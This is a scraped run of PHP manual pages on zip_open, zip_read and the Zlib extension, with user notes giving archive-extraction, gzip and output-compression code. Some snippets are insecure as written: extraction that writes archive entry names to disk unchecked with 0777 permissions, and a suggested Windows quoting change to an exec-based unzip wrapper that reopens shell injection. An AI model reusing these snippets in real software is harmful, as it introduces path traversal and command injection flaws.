It seems that zip_entry_read returns an empty string (i.e. '') at the end of file instead of FALSE. At least in PHP 5.3 on Windows XP.
Matt 16-Nov-2005 04:53
When reading from a zip file if the initial call to zip_entry_read() returns false it would be advisable to run mkdir with the file name since it it very likely that the zero length file was a directory and attempts to save the files within the directory will fail if you dont create it first
zip_entry_open
zip_open
Zip Functions


Open a ZIP file archive

zip_entry_read
zip_read
Zip Functions
PHP Manual

zip_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_open — Open a ZIP file archive

Description

mixed zip_open ( string $filename )

Opens a new zip archive for reading.

Parameters

filename

The file name of the ZIP archive to open.

Return Values

Returns a resource handle for later use with zip_read() and zip_close() or returns the number of error if filename does not exist or in case of other error.

See Also

  • zip_read() - Read next entry in a ZIP file archive
  • zip_close() - Close a ZIP file archive

User Contributed Notes

fuljencio at gmail dot com 13-Oct-2009 08:34
getting a mozilla addon version (a firefox extension, for instance):

<?php
    function get_addon_version($path)
    {
        // open zip
        $zip = zip_open($path);

            // find entry
            do {
                $entry = zip_read($zip);
            } while ($entry && zip_entry_name($entry) != "install.rdf");

            // open entry
            zip_entry_open($zip, $entry, "r");

                // read entry
                $entry_content = zip_entry_read($entry, zip_entry_filesize($entry));

                // position of <em:version>
                $version_open_pos = strpos($entry_content, "<em:version>");

                // position of </em:version>
                $version_close_pos = strpos($entry_content, "</em:version>", $version_open_pos);

                // version
                $version = substr(
                        $entry_content,
                        $version_open_pos + strlen("<em:version>"),
                        $version_close_pos - ($version_open_pos + strlen("<em:version>"))
                );

            // close entry
            zip_entry_close($entry);

        // close zip
        zip_close($zip);

        return $version;
    }
?>
strefrextor at gmail [.] com 13-Sep-2009 04:43
my basic extract zip file function

<?php
    function ezip($zip, $hedef = '')
    {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $zip = zip_open($root . $zip);
        while($zip_icerik = zip_read($zip)):
            $zip_dosya = zip_entry_name($zip_icerik);
            if(strpos($zip_dosya, '.')):
                $hedef_yol = $root . $hedef . 'x/'.$zip_dosya;
                touch($hedef_yol);
                $yeni_dosya = fopen($hedef_yol, 'w+');
                fwrite($yeni_dosya, zip_entry_read($zip_icerik));
                fclose($yeni_dosya);
            else:
                @mkdir($root . $hedef . 'x/'.$zip_dosya);
            endif;
        endwhile;
    }

    ezip('files.zip', 'unzip_files/');
?>
david at php dot net 20-Jun-2009 03:32
Note that the Zip functions return an integer error number in the event of error. So:

<?php
$zip = zip_open($file);

if ($zip) {
?>

is incorrect. Instead use:

<?php
$zip = zip_open($file);

if (is_resource($zip)) {
?>
John 10-Oct-2008 09:47
In response to saulius at solmetra dot lt:

In my testing I have found that PHP treats odf and ods files as zip archives, and probably others. Therefore, is_resource returns true when you try to open these files as a zip. For that reason I think is_resource is not a good way to determine if a file is a zip.
Anonymous 16-Sep-2008 11:17
Note, this function ignores custom stream wrappers, like the ones created by stream_wrapper_register - which is really too bad.
xsign dot dll at clansuite dot com 06-Sep-2008 09:22
If you want to simply extract a strain of a zip file, then use this func. Maybe it helps:

<?php
/**
* This method unzips a directory within a zip-archive
*
* @author Florian 'x!sign.dll' Wolf
* @license LGPL v2 or later
* @link http://www.xsigndll.de
* @link http://www.clansuite.com
*/

function extractZip( $zipFile = '', $dirFromZip = '' )
{
    define(DIRECTORY_SEPARATOR, '/');

    $zipDir = getcwd() . DIRECTORY_SEPARATOR;
    $zip = zip_open($zipDir.$zipFile);

    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $completePath = $zipDir . dirname(zip_entry_name($zip_entry));
            $completeName = $zipDir . zip_entry_name($zip_entry);

            // Walk through path to create non existing directories
            // This won't apply to empty directories ! They are created further below
            if(!file_exists($completePath) && preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
            {
                $tmp = '';
                foreach(explode('/',$completePath) AS $k)
                {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp) )
                    {
                        @mkdir($tmp, 0777);
                    }
                }
            }

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                if( preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
                {
                    if ($fd = @fopen($completeName, 'w+'))
                    {
                        fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                        fclose($fd);
                    }
                    else
                    {
                        // We think this was an empty directory
                        mkdir($completeName, 0777);
                    }
                    zip_entry_close($zip_entry);
                }
            }
        }
        zip_close($zip);
    }
    return true;
}

// The call to exctract a path within the zip file
extractZip( 'clansuite.zip', 'core/filters' );
?>
alban dot lopez+php dot net at gmail dot com 16-Nov-2007 03:13
See this class to make, read Infos or extract ZIP archive.
see EasyArchive.class.php on http://ajaxbrowser.free.fr/ to manage like that ZIP, GZIP, BZIP and TAR archive.

<?
$ARCHIVE = new zip;

$ARCHIVE->makeZip('./','./toto.zip'); // make an ZIP archive
var_export($ARCHIVE->infosZip('./toto.zip'), false); // get infos of this ZIP archive (without files content)
var_export($ARCHIVE->infosZip('./toto.zip')); // get infos of this ZIP archive (with files content)
$ARCHIVE->extractZip('./toto.zip', './1/'); //

class zip
{
    public function infosZip ($src, $data=true)
    {
        if (($zip = zip_open(realpath($src))))
        {
            while (($zip_entry = zip_read($zip)))
            {
                $path = zip_entry_name($zip_entry);
                if (zip_entry_open($zip, $zip_entry, "r"))
                {
                    $content[$path] = array (
                        'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false,
                        'Size' => zip_entry_compressedsize($zip_entry),
                        'NormalSize' => zip_entry_filesize($zip_entry));
                    if ($data)
                        $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                    zip_entry_close($zip_entry);
                }
                else
                    $content[$path] = false;
            }
            zip_close($zip);
            return $content;
        }
        return false;
    }
    public function extractZip ($src, $dest)
    {
        $zip = new ZipArchive;
        if ($zip->open($src)===true)
        {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    public function makeZip ($src, $dest)
    {
        $zip = new ZipArchive;
        $src = is_array($src) ? $src : array($src);
        if ($zip->open($dest, ZipArchive::CREATE) === true)
        {
            foreach ($src as $item)
                if (file_exists($item))
                    $this->addZipItem($zip, realpath(dirname($item)).'/', realpath($item).'/');
            $zip->close();
            return true;
        }
        return false;
    }
    private function addZipItem ($zip, $racine, $dir)
    {
        if (is_dir($dir))
        {
            $zip->addEmptyDir(str_replace($racine, '', $dir));
            $lst = scandir($dir);
                array_shift($lst);
                array_shift($lst);
            foreach ($lst as $item)
                $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':''));
        }
        elseif (is_file($dir))
            $zip->addFile($dir, str_replace($racine, '', $dir));
    }
}
?>
flominator at gmx dot net 01-Aug-2007 06:49
@bisqwit at iki dot fi: If you're using older versions of PHP this skript might only read the first 8192 bytes. Great thing, anyway!
saulius at solmetra dot lt 18-Jun-2007 08:28
Some older PHP versions used to return false if zip_open failed, and newer versions return the number of error (as integer), so instead of this:

$zip = zip_open($zip_file);
if ($zip) {
  // consider zip file opened successfully
}

use this:

$zip = zip_open($zip_file);
if (is_resource($zip)) {
  // consider zip file opened successfully
}

You may also use this function to get the error message by it's number:

function zipFileErrMsg($errno) {
  // using constant name as a string to make this function PHP4 compatible
  $zipFileFunctionsErrors = array(
    'ZIPARCHIVE::ER_MULTIDISK' => 'Multi-disk zip archives not supported.',
    'ZIPARCHIVE::ER_RENAME' => 'Renaming temporary file failed.',
    'ZIPARCHIVE::ER_CLOSE' => 'Closing zip archive failed',
    'ZIPARCHIVE::ER_SEEK' => 'Seek error',
    'ZIPARCHIVE::ER_READ' => 'Read error',
    'ZIPARCHIVE::ER_WRITE' => 'Write error',
    'ZIPARCHIVE::ER_CRC' => 'CRC error',
    'ZIPARCHIVE::ER_ZIPCLOSED' => 'Containing zip archive was closed',
    'ZIPARCHIVE::ER_NOENT' => 'No such file.',
    'ZIPARCHIVE::ER_EXISTS' => 'File already exists',
    'ZIPARCHIVE::ER_OPEN' => 'Can\'t open file',
    'ZIPARCHIVE::ER_TMPOPEN' => 'Failure to create temporary file.',
    'ZIPARCHIVE::ER_ZLIB' => 'Zlib error',
    'ZIPARCHIVE::ER_MEMORY' => 'Memory allocation failure',
    'ZIPARCHIVE::ER_CHANGED' => 'Entry has been changed',
    'ZIPARCHIVE::ER_COMPNOTSUPP' => 'Compression method not supported.',
    'ZIPARCHIVE::ER_EOF' => 'Premature EOF',
    'ZIPARCHIVE::ER_INVAL' => 'Invalid argument',
    'ZIPARCHIVE::ER_NOZIP' => 'Not a zip archive',
    'ZIPARCHIVE::ER_INTERNAL' => 'Internal error',
    'ZIPARCHIVE::ER_INCONS' => 'Zip archive inconsistent',
    'ZIPARCHIVE::ER_REMOVE' => 'Can\'t remove file',
    'ZIPARCHIVE::ER_DELETED' => 'Entry has been deleted',
  );
  $errmsg = 'unknown';
  foreach ($zipFileFunctionsErrors as $constName => $errorMessage) {
    if (defined($constName) and constant($constName) === $errno) {
      return 'Zip File Function error: '.$errorMessage;
    }
  }
  return 'Zip File Function error: unknown';
}

$zip = zip_open($zip_file);
if (!is_resource($zip)) {
  die(zipFileErrMsg($zip));
}
Michael 08-Jun-2006 01:55
I tried the replacement hack above on Windows2k, here
are some fixes needed:
replace:
  return "'".str_replace("'", "'\''", $s)."'";
with:
  return '"'.str_replace("'", "'\''", $s).'"';

replace:
if($line[0]=='-') { $ok=!$ok; continue; }
with:
if($line[2]=='-') { $ok=!$ok; continue; }

replace:
 $contents[] = Array('name' => $fn, 'length' => $length);
with:
   array_push($contents, Array('name' => $fn, 'length' => $length));
ponsho 14-Dec-2005 12:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

    function zip_entry_read(&$res, $nbytes)
    {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
      return $data;
    }
?>
barbarinasv at interfree dot it 05-Oct-2005 01:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], $nbytes);
    }
    return $contents;
}
?>
robert at cotran dot ca 21-Sep-2005 12:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
    $contents = '';
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], 8192);
    }
    return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi 02-Sep-2005 04:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
    if($line[0]=='-') { $ok=!$ok; continue; }
    if(!$ok) continue;

    $length = (int)$line;
    $fn = trim(substr($line,58));

    $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
    Array('fp'       => $fp,
          'name'     => $s,
          'contents' => $contents,
          'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>
zip_entry_read
zip_read
Zip Functions


Read next entry in a ZIP file archive

zip_open
Zlib
Zip Functions
PHP Manual

zip_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PECL zip >= 1.0.0)

zip_read — Read next entry in a ZIP file archive

Description

mixed zip_read ( resource $zip )

Reads the next entry in a zip file archive.

Parameters

zip

A ZIP file previously opened with zip_open().

Return Values

Returns a directory entry resource for later use with the zip_entry_... functions, or FALSE if there are no more entries to read, or an error code if an error occurred.

See Also

  • zip_open() - Open a ZIP file archive
  • zip_close() - Close a ZIP file archive
  • zip_entry_open() - Open a directory entry for reading
  • zip_entry_read() - Read from an open directory entry

User Contributed Notes

nico at nicoswd dot com 29-Sep-2007 01:29
If you get an error like this:

Warning: zip_read() expects parameter 1 to be resource, integer given in xxxxxx on line x

It's because zip_open() failed to open the file and returned an error code instead of a resource. It took me a while to figure out why it failed to open the file, until I tried to use the FULL path to the file.

<?php

// Even if the file exists, zip_open() will return an error code.
$file = 'file.zip';
$zip = zip_open($file);

// The workaround:
$file = getcwd() . '/file.zip';

// Or:
$file = 'C:\\path\\to\\file.zip';

?>

This worked for me on Windows at least. I'm not sure about other platforms.
zip_open
Zlib
Zip Functions


Zlib Compression

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Zlib Functions
    • gzclose — Close an open gz-file pointer
    • gzcompress — Compress a string
    • gzdecode — Decodes a gzip compressed string
    • gzdeflate — Deflate a string
    • gzencode — Create a gzip compressed string
    • gzeof — Test for EOF on a gz-file pointer
    • gzfile — Read entire gz-file into an array
    • gzgetc — Get character from gz-file pointer
    • gzgets — Get line from file pointer
    • gzgetss — Get line from gz-file pointer and strip HTML tags
    • gzinflate — Inflate a deflated string
    • gzopen — Open gz-file
    • gzpassthru — Output all remaining data on a gz-file pointer
    • gzputs — Alias of gzwrite
    • gzread — Binary-safe gz-file read
    • gzrewind — Rewind the position of a gz-file pointer
    • gzseek — Seek on a gz-file pointer
    • gztell — Tell gz-file pointer read/write position
    • gzuncompress — Uncompress a compressed string
    • gzwrite — Binary-safe gz-file write
    • readgzfile — Output a gz-file
    • zlib_get_coding_type — Returns the coding type used for output compression

User Contributed Notes

There are no user contributed notes for this page.
zip_read
Introduction
Compression and Archive Extensions


Introduction

This module enables you to transparently read and write gzip (.gz) compressed files, through versions of most of the filesystem functions which work with gzip-compressed files (and uncompressed files, too, but not with sockets).

Note:

Version 4.0.4 introduced a fopen-wrapper for .gz-files, so that you can use a special zlib: URL to access compressed files transparently using the normal f*() file access functions if you prefix the filename or path with zlib: when calling fopen(). This feature requires a C runtime library that provides the fopencookie() function. Up to now the GNU libc seems to be the only library that provides this feature.

In PHP 4.3.0, zlib: has been changed to compress.zlib:// to prevent ambiguities with filenames containing ':' characters. The fopencookie() function is no longer required. More information is available in the section about zlib://.

User Contributed Notes

There are no user contributed notes for this page.
Zlib
Installing/Configuring
Zlib


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Zlib


Requirements

This module uses the functions of » zlib by Jean-loup Gailly and Mark Adler. You have to use a zlib version >= 1.0.9 with this module.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Zlib support in PHP is not enabled by default. You will need to configure PHP --with-zlib[=DIR]

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Built-in support for zlib on Windows is available with PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

The zlib extension offers the option to transparently compress your pages on-the-fly, if the requesting browser supports this. Therefore there are three options in the configuration file php.ini.

Zlib Configuration Options
Name | Default | Changeable | Changelog
zlib.output_compression | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
zlib.output_compression_level | "-1" | PHP_INI_ALL | Available since PHP 4.3.0.
zlib.output_handler | "" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

zlib.output_compression boolean/integer

Whether to transparently compress pages. If this option is set to "On" in php.ini or the Apache configuration, pages are compressed if the browser sends an "Accept-Encoding: gzip" or "deflate" header. "Content-Encoding: gzip" (respectively "deflate") and "Vary: Accept-Encoding" headers are added to the output. In runtime, it can be set only before sending any output.

This option also accepts integer values instead of boolean "On"/"Off", using this you can set the output buffer size (default is 4KB).

Note:

output_handler must be empty if this is set 'On' ! Instead you must use zlib.output_handler.

zlib.output_compression_level integer

Compression level used for transparent output compression. Specify a value between 0 (no compression) to 9 (most compression). The default value, -1, lets the server decide which level to use.

zlib.output_handler string

You cannot specify additional output handlers if zlib.output_compression is activated here. This setting does the same as output_handler but in a different order.

User Contributed Notes

Nathan 08-Nov-2011 08:53
Apparently, there is a bug in certain versions of PHP with setting zlib.output_compression to "On" via ini_set:

<?php
ini_set("zlib.output_compression", "On");
?>

In some cases, it does not send the Content-type header and browsers won't know to decompress the contents before displaying. Instead, you can set it to the buffer size, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines a file pointer resource returned by gzopen().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FORCE_GZIP (integer)
FORCE_DEFLATE (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Zlib


Examples

This example opens a temporary file and writes a test string to it, then it prints out the content of this file twice.

Example #1 Small Zlib Example

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Only a test, test, test, test, test, test, test, test!\n";

// open file for writing with maximum compression
$zp = gzopen($filename, "w9");

// write string to file
gzwrite($zp, $s);

// close file
gzclose($zp);

// open file for reading
$zp = gzopen($filename, "r");

// read 3 char
echo gzread($zp, 3);

// output until end of the file and close it.
gzpassthru($zp);
gzclose($zp);

echo "\n";

// open file and print content (the 2nd time).
if (readgzfile($filename) != strlen($s)) {
        echo "Error with zlib functions!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Zlib Functions
Zlib


Zlib Functions

Table of Contents

  • gzclose — Close an open gz-file pointer
  • gzcompress — Compress a string
  • gzdecode — Decodes a gzip compressed string
  • gzdeflate — Deflate a string
  • gzencode — Create a gzip compressed string
  • gzeof — Test for EOF on a gz-file pointer
  • gzfile — Read entire gz-file into an array
  • gzgetc — Get character from gz-file pointer
  • gzgets — Get line from file pointer
  • gzgetss — Get line from gz-file pointer and strip HTML tags
  • gzinflate — Inflate a deflated string
  • gzopen — Open gz-file
  • gzpassthru — Output all remaining data on a gz-file pointer
  • gzputs — Alias of gzwrite
  • gzread — Binary-safe gz-file read
  • gzrewind — Rewind the position of a gz-file pointer
  • gzseek — Seek on a gz-file pointer
  • gztell — Tell gz-file pointer read/write position
  • gzuncompress — Uncompress a compressed string
  • gzwrite — Binary-safe gz-file write
  • readgzfile — Output a gz-file
  • zlib_get_coding_type — Returns the coding type used for output compression

User Contributed Notes

Robin Skoglund 04-Apr-2008 04:39
ini_set('zlib.output_compression', 'On') doesn't work

It says that zlib.output_compression is PHP_INI_ALL changable, but in my case at least, this is not true. When using ini_set('zlib.output_compression', 'On') runtime, phpinfo() states that zlib.output_compression is enabled, yet there is no compression.

Since I don't want to enable zlib.ouput_compression for all sites in php.ini, my solution was to enable it in apache conf (.htaccess should work as well) with the line:
php_flag zlib.output_compression on

Just spent hours figuring this out, so I hope it helps other people.

Btw, I'm using Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3.
Brian 25-Jun-2007 11:58
If you have zlib.output_compression set to on when your script starts (in php.ini or via apache directive), then you disable it at runtime using ini_set() before producing output, your output will still be buffered!  Even if you call ob_implicit_flush().

If you want unbuffered output, you must disable zlib.output_compression before your script starts (as well as mod_gzip of course, if you have both installed).

This behaviour experienced on Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-18
anzenews at volja dot net 27-Jul-2006 06:59
php at seven dot net dot nz:
Have you been using register_shutdown_function() that outputs something? If yes, some of the output was not encoded and IE6 is less than forgiving about that. In my case it was reloading the page and sometimes showing a blank page. So IE6 does get invalid stream, bug is not bogus, only description is not good enough.

jpleveille at webgraphe dot com:
In PHP 4.4.2 register_shutdown_function() DOES output whatever you wish, but it is not encoded with the rest of the document. Which is even worse as you get a bug that is difficult / impossible to track down.
php at seven dot net dot nz 07-Jul-2006 01:49
zlib.output_compression has caused problems for me in IE 6, when pages are sometimes not displayed. This could be difficult to track down and PHP have no intention of fixing it, so hopefully you find this note in a search if it happens to you.

http://bugs.php.net/bug.php?id=38026
Arne dot Heizmann at csr dot com 23-May-2006 10:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob 19-Sep-2005 06:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org 27-Aug-2005 08:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net 03-Jul-2005 09:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com 10-Jun-2005 06:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch 08-Oct-2004 05:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
    if($dst == false){
        $dst = $src.".gz";
    }
    if(file_exists($src)){
        $filesize = filesize($src);
        $src_handle = fopen($src, "r");
        if(!file_exists($dst)){
            $dst_handle = gzopen($dst, "w$level");
            while(!feof($src_handle)){
                $chunk = fread($src_handle, 2048);
                gzwrite($dst_handle, $chunk);
            }
            fclose($src_handle);
            gzclose($dst_handle);
            return true;
        } else {
            error_log("$dst already exists");
        }
    } else {
        error_log("$src doesn't exist");
    }
    return false;
}
?>
gem at rellim dot com 13-Jul-2004 08:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr 12-Jun-2004 03:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch 04-Jun-2004 07:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
    // getting file content
    $fp = fopen( $srcFileName, "r" );
    $data = fread ( $fp, filesize( $srcFileName ) );
    fclose( $fp );

    // writing compressed file
    $zp = gzopen( $dstFileName, "w9" );
    gzwrite( $zp, $data );
    gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
    // getting content of the compressed file
    $zp = gzopen( $srcFileName, "r" );
    $data = fread ( $zp, $fileSize );
    gzclose( $zp );

    // writing uncompressed file
    $fp = fopen( $dstFileName, "w" );
    fwrite( $fp, $data );
    fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net 20-May-2004 11:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    if (!$out_file = gzopen ($out, "wb".$param)) {
        return false;
    }

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
        gzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    gzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = gzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while (!gzeof ($in_file)) {
        $buffer = gzread ($in_file, 4096);
        fwrite ($out_file, $buffer, 4096);
    }

    gzclose ($in_file);
    fclose ($out_file);

    return true;
}
spam at wildpeaks dot com 13-May-2004 07:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
    $zp = @gzopen($fromFile, "r");
    $fp = @fopen($toFile, "w");
    while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
    @gzclose($zp);
    @fclose($fp);
}
thivierr at telus dot net 17-Nov-2003 04:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com 27-May-2003 05:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
        $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
devcontact at tech-island dot com 24-Mar-2003 07:47
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mlevy at rgj dot com 12-Feb-2003 02:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
monte at ispi dot net 18-Apr-2001 06:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                 Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
mod_gzip_temp_dir           /tmp
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
